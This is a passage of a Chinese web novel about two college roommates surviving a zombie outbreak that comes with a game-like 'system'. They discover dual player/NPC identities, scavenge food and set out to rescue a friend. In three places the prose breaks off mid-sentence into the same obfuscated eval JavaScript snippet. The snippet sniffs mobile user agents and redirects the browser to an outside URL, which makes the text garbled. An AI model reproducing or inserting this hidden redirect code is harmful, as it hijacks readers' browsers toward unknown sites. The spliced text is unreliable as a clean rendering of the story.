“嗯?”这时身后的何筱风疑惑问道,“你有没有看见一个屏幕啊?我好像打开了一个……一个系统?” “……有有有!” 易晗如释重负地蹲下来,何筱风眨眨眼,并不明白她为什么莫名其妙一脸兴奋。两人各自看着眼前的屏幕,何筱风皱着眉:“你打开‘玩家’了没有?” “打开了。” “你的生命值还剩多少?”何筱风听上去很郁闷,“我就剩77了。” 右上角的系统一打开,上下左右四个大模块映入眼帘:玩家、道具、线索、设置。 点进“玩家”,会看到三个横向柱状图,分别是生命值、精神值和经验值,满分都是100。 “……我比你好一点,我还有86,应该是你摔得太重。”易晗不易察觉地咽了咽口水,“而且我精神值好高,我94哎。” “你好厉害。”何筱风微微笑了笑,“我精神值79,经验值呢?咦?经验值是不是……” “嗯,经验值貌似是从零往上加的,我经验值10。” “那我经验值跟你一样。”何筱风思考道,“我猜是因为通过了一个,刚说的什么,感染区?” “什么感染区,不就副本嘛。”易晗眼珠子一滑,关掉了玩家窗口,再一滑,小圆点丝滑收缩,还在右上角。 懂了,这是个HOME键。 这个系统用起来倒方便,视线是鼠标,眨眼等于点击,翻个白眼就能关闭,而且与本来的视野分属两个图层,互不干扰。 “还有三个东西,先不看了。”易晗使劲闭了闭眼,“我们不要浪费这两个小时,好歹去找点吃的喝的。” 何筱风忙站起来,连连点头:“你说得对,我们找好东西就回寝室休息好不好,我觉得我们明天肯定全身都疼,至于接下来……” 接下来怎么办呢?丧尸爆发,末日来临,还有一个奇奇怪怪的系统和要人命的游戏……稍微一想,何筱风喉咙一紧,脸跟着皱,她好想哭。 易晗的心情已经让她连哭都不想哭了,她哼了一声,像在笑:“接下来当然是一边末世求生一边打副本了……看我干嘛?你不觉得这比单纯打丧尸好得多吗?” 要是单纯打丧尸,她只有死路一条,别问她怎么知道的。 打印店旁的学生超市。 离门近一些的货架基本都空了,整个超市乱作一团,往好了想,至少说明一天过去,还有很多幸存者。 易晗跨过倒在地上的货架往里走,里面的货架上还有一些坚果类食品,这些东西热量高,吃得饱,她抽了个大号马夹袋开始装货,一回头:“……嗯?你怎么了?” 何筱风两手抱着胳膊肘,整个人很是紧绷,不知道的以为走进了鬼屋。 她看上去很不想往里走,但还是逼自己别闲着,和易晗一样抽了个袋子,小声解释道:“我跑出打印店之后,就躲进来了,当时超市里还有不少人和我一起躲。” 易晗:“……后来呢?” 何筱风打了个哆嗦:“后来丧尸把门撞破了,有人被咬了,但大家都一起拼命阻挡……我运气好先跑出来了,又一路跑回寝室楼,然后撞上一个紫色的门,就进游戏了。” 紫色的门? 易晗眯了眯眼,她想起来了,她意识模糊的时候也进了一道紫色的门,谁把她叫进去的? 现在不是思考这些的时候,不过严格来说何筱风也算打过丧尸了,难怪在副本里打丧尸的时候反应比沈乔快得多。 两人把超市里剩下的东西搜刮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033750|194604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了个干净,易晗运气爆棚地找到收银台下的半箱牛肉脯,全拆成小包装塞进马夹袋后,她真心长舒了口气。 她和何筱风一人一个大号马夹袋,走出超市。商业街静悄悄的,偶尔有丧尸姿势扭曲地出现在街对面,但都无一例外对她们熟视无睹。 易晗伸长脖子朝远处看,离商业街大概五百米,是她们的四号食堂。 她刚才看了眼超市收银台上的电脑,现在刚刚八点半,距离她们喷上花露水还不到1小时,她想再去食堂看看。 “我想再去食堂看看,要么你先提着东西回寝室?”转念一想,易晗又不确定了,“我们肯定是回我们自己寝室吧?你提着两大袋上5楼能行吗?还是你在这里等我好了?” “那我等你吧。” 何筱风觉得没问题,但易晗又立刻摆摆手:“算了算了不安全,我们先回寝室,我再出来一趟。” “啊?”何筱风歪歪头。 “你现在是不怕丧尸,但你抱着那么多东西,万一来个坏人怎么办?” 易晗不一样,她不怕丧尸也不怕坏人,她现在一个打十个。 再说了,她生命值都是零了,她还有什么好怕的。 于是两人拎着物资回了宿舍楼,易晗在唇边比了个食指,两人轻手轻脚上楼。一楼没看见丧尸,二楼往上每层也只有零星几个丧尸,基本都在紧闭的寝室门前闻来闻去,或者在空寝室里晃悠。每层楼的情况乍一看都差不多,有的寝室关着门,有的寝室门大开。 一定有人安静苟着,大家没那么弱。 爬到五楼,成功回到自己寝室。 易晗关上门,东西放下,直奔打印机,拉开一看便彻底松了口气:“还好,感染区通关后,该什么样还什么样。” 打印机里剩的几张纸还在,寝室还原了,手机、衣服、床单被罩都好好的。 何筱风往椅子上一坐,没一会儿又站起来,在地上铺了块瑜伽垫,抱膝坐下,背靠着床的梯子,身侧靠着桌腿。 “……”易晗看呆了,“你干嘛?” 何筱风的眼珠子动了动,片刻后淡淡笑了笑:“害怕呀,这样感觉好,我精神值恢复了一点点,83了。” 易晗不禁失笑:“那你好好歇着,我再去一趟食堂,最好弄点热的东西回来。” 她把花露水放桌上,马夹袋里的东西倒出来,拿起桌上的手机,拎着空袋子往外走,何筱风把水果刀给她:“你可当心啊。” 易晗一路小跑,经过学生超市时缓缓停下脚步。 她就是在这条路上被丧尸扑倒的。 不管何筱风当时有没有躲进超市,她只要回个头,就绝对看到了易晗和丧尸互啃的一幕。 易晗下意识提了提衣领,继续朝食堂跑去。 寝室里,何筱风一动不动缩在小角落,眼神定定地盯着一个虚点。 她记得很清楚,她逃出超市后被丧尸追着跑,跑到宿舍楼下时迎面闪现出一道紫色的裂痕,像一扇门。 门前写着一个阿拉伯数字:1。 她别无选择地撞了进去,一晃眼就身处二号寝室了。 她也注意到,通关之后,小屏幕一直说的是“玩家”,直到易晗开口选了花露水,小屏幕上才出现“两位玩家”。 或许易晗跟她也不是同类了,或许她把易晗也选上就能达成S级任务了。 但幸好,她没选。 8. 两个系统 晚上八点五十,校园在路灯的切割下黑白分明。易晗躲在楼房下的一处阴影中,牢牢盯着四号食堂的大门。 就在她方才一路跑过来时,大门前无声地出现了一道紫色的裂隙,仿佛巨物在黑夜中倏然睁开了一只眼睛,好悬没把易晗吓出病来。 何筱风说得没错,那眼睛看上去就是一扇空中的窄门。但何筱风没跟她说——也可能是她确实来不及看就冲进去了——深紫色的眼睛上有阿拉伯数字,她眼前的这一扇上写着5。 5……是想表达什么? 食堂成了感染区,原本就在里面的人怎么办呢? 去四号食堂里找吃的是没可能了,易晗正纠结要不要打道回府,身后冷不丁传来稀稀拉拉的脚步声,她刷一回头,居然是丧尸?! 一共三只穿着迷彩服的丧尸,从她刚才过来的方向,沿着商业街一路走了过来。 是走,不是跑,那就不是发现了猎物。 易晗蹲在墙角里,有草丛遮住她的身影。 那三只丧尸并不成群,它们脚步缓慢、蹒跚、但方向一致,都朝着那只紫色的眼睛。易晗眼睁睁看着它们就像被里面的什么东西呼唤了一样,一个接一个踏了进去,凭空消失了。 三只丧尸走了进去,眼睛上的数字还是5。 易晗眉毛一挑,有了猜想,决定再等等。 耐心等到九点一刻,天空彻底入了夜,校园也不再那么万籁俱寂。 终于,有三个男生从四号食堂的更前方小心翼翼走了过来,在那只眼睛前站定。三人聚成一团,背影写满视死如归,易晗目送他们消失在眼睛之后,下一秒,数字从5变成了2。 果然,眼睛上的数字是指这个副本可容纳的玩家数量,用来表达“虚位以待”。 那先玩家一步进去的丧尸算什么,NPC?玩家和NPC到底谁先进?也没看出有什么规则。 又过了没多久,三个年长一些的人来到食堂门口,两个人进去了,一个人被堵在外面了。 只能留守的人手足无措地原地打转几下,往另一个方向跑走了。 此刻眼睛上的数字果然变成了零。 花露水的有效时长要到了,易晗站起身,原路跑回宿舍楼。 跑着跑着,她还是没忍住去想,沈乔和措姆央金会不会是NPC呢? 她会不会也是个NPC呢? 她迷迷糊糊走进那只眼睛里的德行,不就跟刚刚看见的丧尸一模一样吗? 她、沈乔、措姆央金都被咬成丧尸了,被那只眼睛召唤,来到游戏中开学前一晚的寝室,等待着玩家的到来。 直到幸存者何筱风踏入寝室,游戏才正式开启。 “嗷——!”刚那么一想,右肩膀的伤口就痛了。 易晗不得不停下来缓一会儿,右肩膀前后各有一排牙印,疼起来整个手臂一起疼,火辣辣麻酥酥,分不清是烫还是凉。 回到寝室后,空手而归的易晗神色如常,她把看见的一切都原原本本告诉了何筱风。 何筱风:“啊……好吧。” 何筱风的脸有一种病态的苍白,并不像是被易晗的话吓到了,易晗问:“你不舒服吗?” “有一点。”何筱风点点头,“我一直在看系统,全看了一遍,不知道为什么有点难受。” “……晕车的那种难受?” “不是不是,不是看得难受,是……”何筱风按了按胸口,抬起眼,认真描述,“是被看的难受,就不只是我在看系统,系统也在看我,在注视我的感觉。” 易晗愣住了。 “……唉。”何筱风眼睛红红的,易晗不在的时候八成哭过一场,她撑着椅子站起来,“我们先吃点东西好不好?你一回来我就饿了。” 吃的喝的管够,省着点吃起码管够三四天。 这间寝室目前很安全,楼里虽然有丧尸,但只要她们别发出大的声音,就不会被发现,寝室位于五楼,易晗方才一路看到不少丧尸了,也没见到哪个在飞檐走壁。 所以,何筱风勉强吃了个小半饱后便爬上了床,没几分钟就响起了轻轻的鼾声。 易晗坐在床上,背靠着墙,双腿自然弯曲,手放在膝盖上,用最舒服的姿势打开了系统。 “玩家”里,生命值没变化,还是一个惊世骇俗的零鸭蛋,经验值也没变,精神值又上去1点,现在95。 精神值的柱状图旁有一个小问号,何筱风提醒她看一下,她眨一眨眼: 【如玩家精神值低于20,将会失去自主意识,沦为不可控之物哦,请玩家务必将精神值保持在20以上!】 易晗撇撇嘴,这种设定太常见了。 “玩家”看好了,再点击“道具”:她就驱蚊花露水一个道具,有效2小时,8小时可使用一次,没有更多内容。 既然何筱风也能用花露水,她也能用水果刀,说明道具与玩家之间并没有绑定关系……那要是有玩家来抢道具,或者干脆杀人越货可怎么办? ……能怎么办,一脚踹飞。 易晗冷哼一声,再点击“线索”。 点不开,跟何筱风说的一样。仔细看,这几个字的颜色更灰一些,何筱风猜只有在副本里才能点开看线索。 最后是设置,何筱风说设置里东西挺多。 易晗点开设置,排在第一个的是模式……居然是给系统换背景吗? 蓝色、粉色、海洋模式、还有护眼模式,怎么不出个自定义模式? 易晗漠然地翻了个白眼,选定护眼模式,而后点开第二个,属性。 属性说的不是系统属性,而是人,比如易晗在系统里,名为“玩家782931”。 那她好歹算个玩家了,她刚刚还担心自己是个NPC呢。 只有通关了第一个感染区的玩家才能打开系统,才能拥有编号,应该是这样吧? 编号旁有一个书本样式的符号,点开,里面是记录:388765感染区达成A级通关任务。 感染区,系统管游戏副本叫感染区,是因为这个地方被丧尸病毒感染了吗? 易晗动了动腰,看最后一个:常见问题。 里面是Q&A模式的问答。 ……不管整个游戏系统到底是个什么东西,这个东西绝对把人类社会摸得很透彻。 Q:每个感染区是如何设置奖励的? A:达成B级任务没有额外奖励,活下来的玩家请心怀感恩;达成A级任务可以在感染区内任选一件物品,感染区会为物品进行升级:达成S级任务,在A级奖励的基础上,玩家还可以获得该感染区的空间所有权。 易晗的眼珠子上下滑了滑,轻轻“嗯?”了一声。 就一个问答啊? 这个常见问题最好会常常更新。 她在心里吐槽,把唯一的问答又仔细看了一遍。 空间所有权,这个词太吸引人了。 比如她和何筱风要是达成S级任务,难道可以把这个寝室……随身携带着走吗? 那也太爽了。 随便哪本末世小说,对主角来说最要命的就是储物空间这个问题。 这要是能随身带着一间房子,或者刚刚看见的食堂……带着一座食堂?! 易晗被莫名其妙的画面感逗乐了,系统看完,她仰躺下去,抬手揉眼睛。 何筱风说系统也在注视她,这种不适感易晗也有,而且还不是面对面那种注视,是仿佛有什么东西在人的体内,由内而外地进行扫描,从头发丝到大脑皮层,从每一寸皮肤,每一根神经末梢到五脏六腑,一丝一毫都不放过。 关键是,对方的姿态很高,明明在人的体内,却给人一种居高临下的审视之感。 的确很不舒服。 易晗不近视,两只眼睛视力都不错,右眼比左眼稍差一点点,看了半天的右眼好像有点模糊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033751|194604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她揉了半天右眼,再闭上左眼,想看看右眼视线是否清晰了——不看还好,她猝然倒吸一口冷气,整个人跟下锅的虾一样剧烈一抽! 她的右眼看见了另一个系统! 两个系统!她为什么有两个系统! 比起刚才的系统,这个系统的画面只有一半,左边的边框都没封上,一看就感觉少了一半,跟卡住了没加载出来一样。 她试着闭上右眼,左眼睁开看。 没有,只有右眼能看到。 画面上有两个模块:参数、记录。 参数是什么鬼? 点开参数,易晗的瞳孔骤然一缩,下意识闭上了眼睛,足足半晌后才跟放弃了什么似的苦笑出声。 果然如此,她安慰自己,身体的异样总得有个解释,跟她想得一样,不算坏事。 参数页面的正上方写着:非玩家控制角色53174。 非玩家控制角色,俗称NPC。 易晗非常非常用力地呼吸,无比清晰地感受到心脏的跳动。 很好,她现在既是玩家782931号,也是NPC53174号——合理,她的肩膀差点被丧尸咬个对穿,不被感染才奇怪呢,系统将丧尸设置为感染区的NPC,属于是现场招聘、原地入职了。 那么她为什么没有彻底变丧尸呢?……因为她咬回去了是吧?一定是吧?然后她就在保留清醒意识的同时拥有了丧尸的力量对吧? 哇太爽了,在这丧尸共末日一色,系统与游戏齐飞的辞旧迎新之际,她简直是卡bug了呀! 易晗翻个身,脸埋进被子里,一动不动好半天后吸着鼻子,头在被子上蹭了又蹭,转回来睁开眼睛,抬手掩住左眼。 将参数页面往下滑,她看见一行行的数据: 非玩家控制角色53174 性别:女 年龄:22岁零10个月25天 基础生理指标 身高:171.74cm 体重:61.24kg 血型:O型 肺活量:4100ml …… 神经肌肉与运动机能指标 握力(左/右):45kg/47kg 一拳冲击力:峰值力量470kgf 踢击冲击力:峰值力量695kgf …… 移动速度:50米冲刺6.9秒 敏捷与协调性:T-test成绩预估9.4s …… 目瞪口呆的易晗:“……” 看不懂,好多都看不懂,这都什么东西啊? 唯一可以给她一点震撼的,也就是50米冲刺了,她此生的最好成绩是8秒,那还是初三那年为了中考的体育分拼命练的结果。 她果然是变异了,可喜可贺。 运动机能指标的旁边,好像也有一个符号,她试着点了一下,界面上的数据发生了变化,不再是她看不懂的数字和单位,变成了清晰明了的柱状图,十分制: 一拳冲击力:8.8/10 踢击冲击力:9/10 …… 敏捷度:7.8/10 …… 易晗:“……” 难怪她一脚一个丧尸,她以后可以多拉拉腿,练练高抬腿什么的,不得帅得起飞啊。 她再点开“记录”,里面的内容似曾相识: 388765感染区玩家达成A级通关任务 就这? 她无意识地一眨眼,却把这一条记录点开了,仿佛监控室大屏幕一样的画面出现在她眼前。 仿佛有人在感染区里安装了多个拍摄机位,而易晗就是那个储存视频的优盘。 人型优盘易晗:“……” 是只有通关副本之后才能回看吗?如果在副本里也能开启,那四舍五入不就是上帝视角吗? 9. 时间线 丧尸爆发第三天,易晗和何筱风在寝室里安安静静躺了一天。 寝室的电力和供水系统都还正常,两人除了下床上厕所、喝水、吃几口东西外就没离开过床。用易晗的话说,那就是少动弹,饿得慢,这叫省电模式,建议开启。 于是何筱风咽下一肚子的话,什么以后怎么办,要不要离开寝室,怎么才能回家找父母……她统统不问了,要哭也只在厕所里偷偷掉几滴泪,易晗淡定的样子不像演的,那她也要坚强才行。 她不知道,易晗不算完全闲着。 她睡得不少,但只要醒了就会尝试发短信、打电话、发微信,只要下床就给手机充会儿电。 丧尸爆发伊始,所有人一定都在发疯一样联系亲人和朋友,信号就像一条高速公路,车太多了就会堵塞,堵死了就谁也用不了。 但到了今天,变成丧尸的人不会再用手机,幸存者也不见得人人都像她们这样悠哉,短短两三天,基站不至于全报废了,讲道理,现在应该有希望联系上哪个幸运儿。 她没让何筱风帮忙一起,她怕何筱风试着试着就精神崩了。 丧尸爆发第四天,两个人身上都更痛了。 何筱风的屁股疼得爬都爬不起来,易晗的手臂也酸得不行,拿吃的都费劲。 于是两人果断又躺了一天。 丧尸爆发第五天,两人沉沉一觉睡到中午,下了床吃了东西后,都没再爬上去。 她们靠着桌子,看看手机,在小小一间寝室里走来走去,不时地拉开柜子看看,并没有多少交流,却默契地传递出同一个信号:她们不可能一直躲下去。 四天过去了,易晗没能联系上任何人,也没能接收到外界的任何消息。 丧尸于同一时间在全球各地同步爆发,是冷兵器热兵器都无法战胜的存在,一天后,难以置信的游戏悄然降临,颠覆认知的系统入侵了玩家的大脑……没有一件事可以用常理去解释,奥特曼来了也搞不定。 可是既然如此,她们出去不等于找死吗? 一直窝在寝室里装傻,东西吃完了就喷上花露水出去觅食,听起来活得更久。 “那个……”易晗斟酌开口,“我们要不要……” 何筱风低着头,没接话,而易晗的话也只说了一半就卡住了,何筱风躲闪着什么似的往洗手间走:“我上个厕所。” 易晗扁了扁嘴,算了,那再等等。 然而现实不让她等。 “噔噔噔噔——” “救、救命——” “求求谁开个门!!” 易晗困惑扭头,有人奔跑上楼并大声呼救,可是为什么是个男的? 丧尸爆发的时候刚好离女生宿舍楼很近?也无可厚非。 短暂的疑问一闪而过,逃命的人就在门口了,易晗喊了句:“你关好门别出来!” 话是冲何筱风说的,易晗抄起水果刀就开了门,大声喊:“这边!” 逃命的男生本也没指望真能有人开门,易晗这一嗓子相当出人意料,他喜出望外猛加速,然后就脚一扭,摔飞出去好长一段。 追在他身后的三只丧尸嘶吼着扑上来,男生连滚带爬涕泪横流,就在这时身旁刷的闪过一道凌厉的身影,寒光一闪,一个丧尸倒地。 易晗从丧尸颈侧拔出水果刀,后抬腿一脚上踢,第二只丧尸被踢中下巴,易晗收腿、转身、反手挥刀,又干掉一只,一套动作行云流水,她在脑子里演练好多遍了。 男生喊了一路卧槽,奋力跑向打开的寝室门,身后的易晗轻松解决了第三只丧尸,推着男生进了房间,将门甩上。 易晗救人的时候,何筱风已经出了卫生间跑到桌前,手上拿着花露水,眼见危机解除,她也没放下。 男生一进门就跪倒了,嘟嘟囔囔听不清在说什么,易晗以为他在哭着道谢,关上门后只顾着听门外有没有更多丧尸,没注意男生佝偻的脊背已经扭曲。 “当心!” 男生霍然起身的同时,何筱风迅速给自己喷了一下,手臂伸老长了又给易晗喷了一下,易晗诧异转身,男生已经变成了丧尸。 幸亏何筱风动作及时,寝室里的两个女生一瞬间“消失”在丧尸的眼中,丧尸激烈的动作顿时凝固,眼中猩红的血丝褪去,剩下一片浑浊。它僵硬地摆动着手臂,脑袋缓慢地转动,没有目标的丧尸宛如没有主人的提线木偶。 易晗:“……他明明没有被碰到啊?” “不一定的。”何筱风语气中流露出不忍,“他可能之前就被咬到了,他不知道,只是到现在才发作。” “啊?” “嗯,我在超市里的时候就见过了,每个人被咬后的发作时长都不一样的,有的人很快,有的人可能要过几分钟。”何筱风肯定地回答。 易晗涨知识了,认真说:“谢谢你。” “不用谢,你救我好几回了。”何筱风凑到易晗旁边,一起看着这位倒霉的丧尸,“现在怎么办?开门放他出去?” “……我不太想碰他,要么踢出去?” 丧尸晃来晃去看着心烦,易晗靠着椅子,一脚蹬住丧尸的肚子,把他怼在对面床的梯子上。丧尸不动了,抬起一张没有表情的脸,易晗抬着一条腿,眉头渐渐皱起:“你觉不觉得他好像是那个……” 何筱风也认出来了:“他是副本里那个怪物!” 此人确实就是感染区里的丧尸,被易晗一刀扎穿脚踝,拿头撞墙把墙撞碎的丧尸。 今天是丧尸爆发第五天,易晗在心里算,在副本里的时候,她们听到六号寝室里有一个怪物,六号寝室对应的就是今天。 “……如果是这个意思,”易晗眉头皱得更紧,“难道说明我们没有把它放出去吗?我们把它留在这里了?” 何筱风不理解:“留在这里干什么?” “啊、啊——” 两人肩膀同时一耸,丧尸忽然张大嘴巴在喊,灰败的脸上竟出现了惊慌失措的表情,仿佛看见了什么无比恐怖的景象。 易晗不明所以地放下腿,丧尸一秒跪地,往后蜷缩,而当它发现逃无可逃的时候,它开始磕头。 何筱风:“……它绝对就是副本里的丧尸。” “它干嘛啊?”易晗费解地蹲下来看,丧尸眼里没有她们,脸上却出现了真真切切的恐惧,它真的在给看见的东西磕头。 它越磕越用力,兜里的手机都随着动作滚了出来。 易晗捡起来,解不了锁就打开了相册:“……我靠。” 相册一翻,放眼望去一半都是猫的尸体。 剪了尾巴的、拔了毛的、开膛破肚的……各种各样的尸体。 这家伙是个虐猫犯。 说不定丧尸爆发的时候,他正在女寝楼四周找小猫呢。 易晗更费解了:“我们好歹也是全国重点大学,随便捞一个男的就是死变态啊?这什么概率?” 何筱风:“……他看见了被他虐杀的小猫吗?丧尸都会看见自己害怕的东西吗?” “有可能。”易晗认为合理,“我可能知道为什么我们把他留在寝室里了。” ”嗯?”何筱风思考了片刻,条分缕析道,“我们站在未来,知道这个磕头怪对副本里的我们会很有用,所以把他留下?因果闭环了?” “……”太有道理了,但易晗真没想那么多,她诚实说,“我只是不想放他出去,也不想弄死他,我就想让他永远害怕下去,磕头磕到死。” 何筱风:“……” 易晗:“百因必有果,他的报应就是我……别看我。” 何筱风失笑:“我支持你,但我们一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033752|194604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花露水只有两个小时,两小时之后怎么办?” 易晗看得出,其实何筱风也想离开寝室了,只是不愿第一个开口。 再说她也不是完全没思考:“你记得吗?副本里,我和沈乔手上的刀都超好用,只有你扎不穿丧尸,现在想想,是因为你的刀是一号寝室里找到的,我和沈乔拿的是二号三号里的……只有你的还没升级。” 何筱风愣了好一会儿,恍然地:“……对哦,那,那也太,所以因果真的闭环了,时间线是,难道是注定的吗?” “或许吧,”易晗拍拍何筱风的肩膀,正色道,“所以,你们听到十几号寝室里会有四五只丧尸,可能也是注定的。” 何筱风一惊,呼吸加重了:“那……” 就在这时,易晗的手机响了,有人打她电话。 “卧槽!”易晗一个箭步拿起桌上的手机,是一个陌生号码,她接起来,“喂?哪位?” “易晗!……我……是我!” 电话能接通,但信号断断续续,易晗凝神去听,精神一振:“周芷倾!是你吗周芷倾?!” “我在……回响!姜淮生……救我!你在……” 电话断了。 何筱风看着她:“是你朋友吗?” “嗯,我尝试过联系她,但联系不上,”易晗神色严峻,言简意赅,“她拿别人的手机给我打的,她在回响烤肉店,我要去救她。” 何筱风:“那我们走吧。” 易晗:“……” 哇塞她的室友好干脆。 何筱风耸耸肩,强装轻松地说:“不可能一直躲着的嘛,东西也要吃完的,你朋友在回响烤肉店,那近得很。” “……”易晗又意外又感激地看她一眼,“好,我们喷上花露水还没超过20分钟,现在收拾一下东西,完全来得及过去。” 易晗身处的大学,位于城市的郊区,算一个偏远的大学城,附近一共五所大学。 回响烤肉店就在她们大学对面的美食一条街上,从北门出去,这段路除了饭点都没什么人。 “周芷倾是我闺蜜,我们从小一起长大的。”易晗边装东西边介绍,“她们大学开学晚,现在学校里应该只有暑假留校的人,她男朋友的导师要求提早报道,所以他们一起早来了。” “哦——”何筱风眼里多了一丝笑意,“那她们学校里人少、东西多,对吧?” “对,就算她不联系我,我本来也准备先去她们学校的。” 吃的喝的有多少带多少,手机和充电宝都充满带走,易晗的书包不大,现在塞得鼓鼓囊囊。她是本地人,其他三个室友的老家也近,整个寝室一件厚外套也没有,晚上要是没地方过夜就惨了。 “唉,走一步看一步吧。”易晗把花露水给何筱风,水果刀插在自己口袋里,最后看了一眼寝室,“嗯……” 何筱风背着包站在门口,从未觉得离开寝室是一件如此紧张的事:“还要带什么吗?” 她本来纠结要不要拖个行李箱,但易晗说行李箱拖着麻烦,还容易被人抢,于是两人只能尽力把东西全塞书包里。 易晗在看丧尸,丧尸手腕上有一块表,看着像机械表。 “我把他表带走,花露水要严格算着时间,等手机没电了就得看表了。”易晗抽了张纸垫着手,抓起丧尸的手腕,拆下表,好好擦了擦,自己戴上,“还挺重,可以砸人了。” 何筱风瞥了丧尸一眼,忽然问:“那挺贵吧?” “牌子不小,万把块吧。”易晗随口答道,站起来背上包,“走吗?” “走。” 她们离开前关上了门,门内的丧尸找不到猎物,只能沉浸在恐惧中不断磕着头。 砰,砰,砰……声音越发地响,用不了几天,这间寝室就会被丧尸占领。 10. 闺蜜 回响烤肉店。 店位于马路边上,招牌醒目,写着两个闪亮的大字“迎新”,图片上是令人垂涎欲滴的精美烤肉。 数位服务员身穿红色小马褂,端着盘子踏过地上的尸体,一人负责一桌,熟练地烤肉、剪肉、夹到客人的盘子里。 姜淮生机械地吞咽着,烤肉味道非常不错,但他没有品尝的心思。他注意着四周的一切,比如头顶摇摇晃晃的风扇,比如烤肉架上呼呼作响的抽油烟机。 肉就像是吃不完的,一盘接着一盘上桌。终于,邻桌的男生停止了咀嚼,像是被噎住了,痛苦地拧着喉咙发出干呕。 坐他对面的女生赶忙给他倒水,但他喝不下去。 姜淮生夹起一大块肉塞进嘴里,确定服务员脸上没有异色,才敢离开座位,帮男生拍背:“学长,学长没事吧?” 学长有事,他吐不出来,脸上青筋暴起,而且离滚烫的烤盘越来越近。 姜淮生用尽力气也拉不住他,学长的脸压在了烤盘上,发出阵阵焦味,滋滋作响,学长却像没有知觉,一味地继续往下贴。 “啊啊啊啊啊!”女生捂着脸发出哭叫,“不行!不行我受不了了!” 她一把打翻桌上的烛火灯,还不够,她站起来一把一把挥扫,每一张桌上的灯都被她接连打翻,再抄起桌上的啤酒往上倒。 “快!快烧起来啊啊啊啊啊!” 没有客人阻止她,只有低低的哭声第无数次响起。 学长的脸已经毁了一半,姜淮生闭上眼睛,拽住桌布一扯。 燃烧的桌布再被女生一把扔到窗户下烧着了窗帘,引燃物到位了,烤肉店逐渐起火。 火势没有让店长和服务员的表情发生任何变化,店长的微笑在浓烟和火光中晦暗不明。 他的目光在店门口聚焦,而后展开一个爽朗的笑容:“欢迎光临回响烤肉店!” 姜淮生呛咳着回头望去,脸上最后一丝血色也褪得干干净净:“不要进来——” 四十分钟前。 易晗与何筱风一路跑跑走走,离开丧尸满街跑的校园,然后抓瞎了。 美食街乍一看空得堪比鬼城,既没看到丧尸,也没看到活人。 “……”易晗站在回响烤肉店前,心中升起一种叹服,“都躲得这么好吗?” 何筱风几乎贴着易晗:“你闺蜜会躲在哪儿?” 回响烤肉店前竖着一只眼睛,上面的数字已经是0了,说明玩家已满。易晗挠了挠眉毛,脸色不太好看:“她最好别进去了。” 何筱风看了看手机,她们背着那么重的书包,走得很快,花露水的效果还有挺久。 她上下左右到处看:“有没有什么隐蔽的小店?” 这个美食街,说得好听些可以算个美食城,除了马路边上一排饭店,往里走还有一些奶茶店和小吃摊……两人往建筑群的深处走,易晗的眼睛就像高速运转的扫描仪,没有放过目之所及的任何一个角落。 很快,她视线一定。 易晗拉着何筱风就往里拐,来到一扇紧闭的小门前,门上留有一个小方块形的窗口,一张脸一闪而过。 “开门!”她敲门,“是我。” 窗口后的脸大为震惊,门一开,易晗被人往里一拉,一抱,周芷倾开口第一句:“你真的没死啊?!” 易晗:“……不会说话就闭嘴。” “……”这个开场白让何筱风没法接,她紧跟进来,关上门,里面看着像员工通道之类的楼梯间,楼梯口还靠坐着一个年长的男人,何筱风当即退了一步,“呀!” 周芷倾“嗯?”了一声:“哦,他是万老师,教授,姜淮生导师,他救了我的。” 句子说得一长,周芷倾的哭腔就忍不住了,易晗没放开她:“你慢慢说……最好简洁一些。” 周芷倾一拳砸她后背上:“你去死吧!” 故事不复杂,为了何筱风能跟上,周芷倾一边说,易晗一边介绍: 周芷倾有个男朋友叫姜淮生,两人即将在同一所大学读研。姜淮生的导师万老师要求学生提前报道,周芷倾便跟着一起提早来学校了。 9月1日晚,万老师请研一研二的学生吃烤肉,周芷倾不是同门,没有一起吃,准备去美食街的小店做美甲。 丧尸爆发的时候,万老师和学长学姐们正在店门口排队,姜淮生和周芷倾刚走到马路边。 然后成群的丧尸就从四面八方出现了,所有人仓皇逃命。 “我们一起跑的,”周芷倾顿了顿,脸埋进易晗肩膀里,“我们躲在一个公厕里,熬到第二天下午,外面忽然有打斗声,还有说话声,我们就出去,嗯……刚好看到好几个人在杀丧尸,他们手里的东西特别厉害,有个女的有一把发令枪,一打,丧尸全跑了。” “哦……难怪附近丧尸少,”易晗挑起一边眉毛,“几个很厉害的玩家啊。” “……还真是啊,我就说嘛跟道具一样,”周芷倾吸着鼻子在易晗衣服上抹脸,“我们看到他们是从一个眼睛里出来的,出来了就没有了,姜淮生看见烤肉店门口还有一个眼睛,就想进去试试。” 何筱风:“……他主动进去的?” “差不多,”周芷倾把脸抬起来,“而且另外几个学长学姐也进去了。” 